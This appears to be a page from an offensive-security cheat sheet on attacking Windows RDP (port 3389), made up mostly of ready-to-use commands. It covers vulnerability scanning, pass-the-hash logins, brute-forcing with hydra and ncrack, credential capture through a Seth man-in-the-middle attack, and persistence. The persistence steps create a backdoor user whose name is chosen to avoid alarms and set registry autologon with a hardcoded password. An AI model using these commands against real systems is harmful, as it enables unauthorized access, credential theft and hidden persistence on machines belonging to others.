📖 CyberBook

Appearance

🖥️ RDP - 3389 ​

📚 Resources ​

Tools ​

👁️ Recon ​

bash
# rdp-vuln-ms12-020 (BlueKeep - CVE-2019-0708)
nmap -p 3389 --script=rdp-enum-encryption,rdp-ntlm-info,rdp-vuln-ms12-020 $target

rdpscan -t $IP
bash
# Check if NLA is enabled (important for MITM feasibility)
nmap --script=rdp-enum-encryption -p 3389 $IP | grep 'Security layer'

# "Security layer: CredSSP (NLA)" -> NLA is enabled -> MITM (Seth) not possible
# "Security layer: RDP or SSL" -> NLA disabled -> vulnerable to Seth / MITM

👤 Connection ​

bash
# test credentials
crackmapexec rdp $IP -u administrator -p password
bash
# https://www.kali.org/tools/freerdp3/ - all packages available
# sudo apt install xfreerdp3-x11
xfreerdp /v:$IP /u:username /p:'' # username with blank pass

# Pass The Hash
xfreerdp /v:$IP /u:username /pth:<hash>

# Ignore certificat
xfreerdp /v:$IP /u:username /p:pass /cert:ignore

# NLA security level
xfreerdp /v:$IP /u:username /p:password /sec:nla

# Force security level (e.g., disable NLA)
xfreerdp /v:$IP /u:username /p:password /sec:rdp
bash
rdesktop -u username $IP
rdesktop -d Domain -u username -p password $IP
bash
# Windows (native)
mstsc /v:$IP

# Admin mode
mstsc /v:target.com /admin

⛓️‍💥 Brute-Force ​

⚠️ Brute-force can trigger account lockout or detection alerts.

bash
ncrack -p 3389 -u administrator -P rockyou.txt $IP
bash
hydra -l administrator -P rockyou.txt $IP rdp
bash
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS target.com
run

🧪 MITM ​

With the tool Seth (github), you can perform a MITM attack on RDP by generating fake certificates.

⚠️ Note please: This attack only works if NLA (Network Level Authentication) is disabled on the target. Most modern systems have it enabled by default.

bash
seth -i <interface> -t <target_ip> [<target_ip_x>] --rdp

If a user connects to the targeted machine during the attack, their credentials may be captured by the attacker.

Note ​

Seth performs a Man-in-the-Middle attack against RDP by spoofing certificates and relaying connections. Requires: LLMNR/NBTNS poisoning or ARP spoofing setup (e.g. using Responder or bettercap).

🪝 Persistence via RDP ​

  1. Enable RDP remotely (if you have admin shell)
ps1
# Enable RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0

# Allow through firewall
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
  1. Add new RDP user
bash
# sysUpdater (less likely to raise alarms)
net user sysUpdater Passw0rd! /add
net localgroup "Remote Desktop Users" sysUpdater /add
  1. RDP backdoor via registry (for autologon)
bash
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d sysUpdater /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d Passw0rd! /f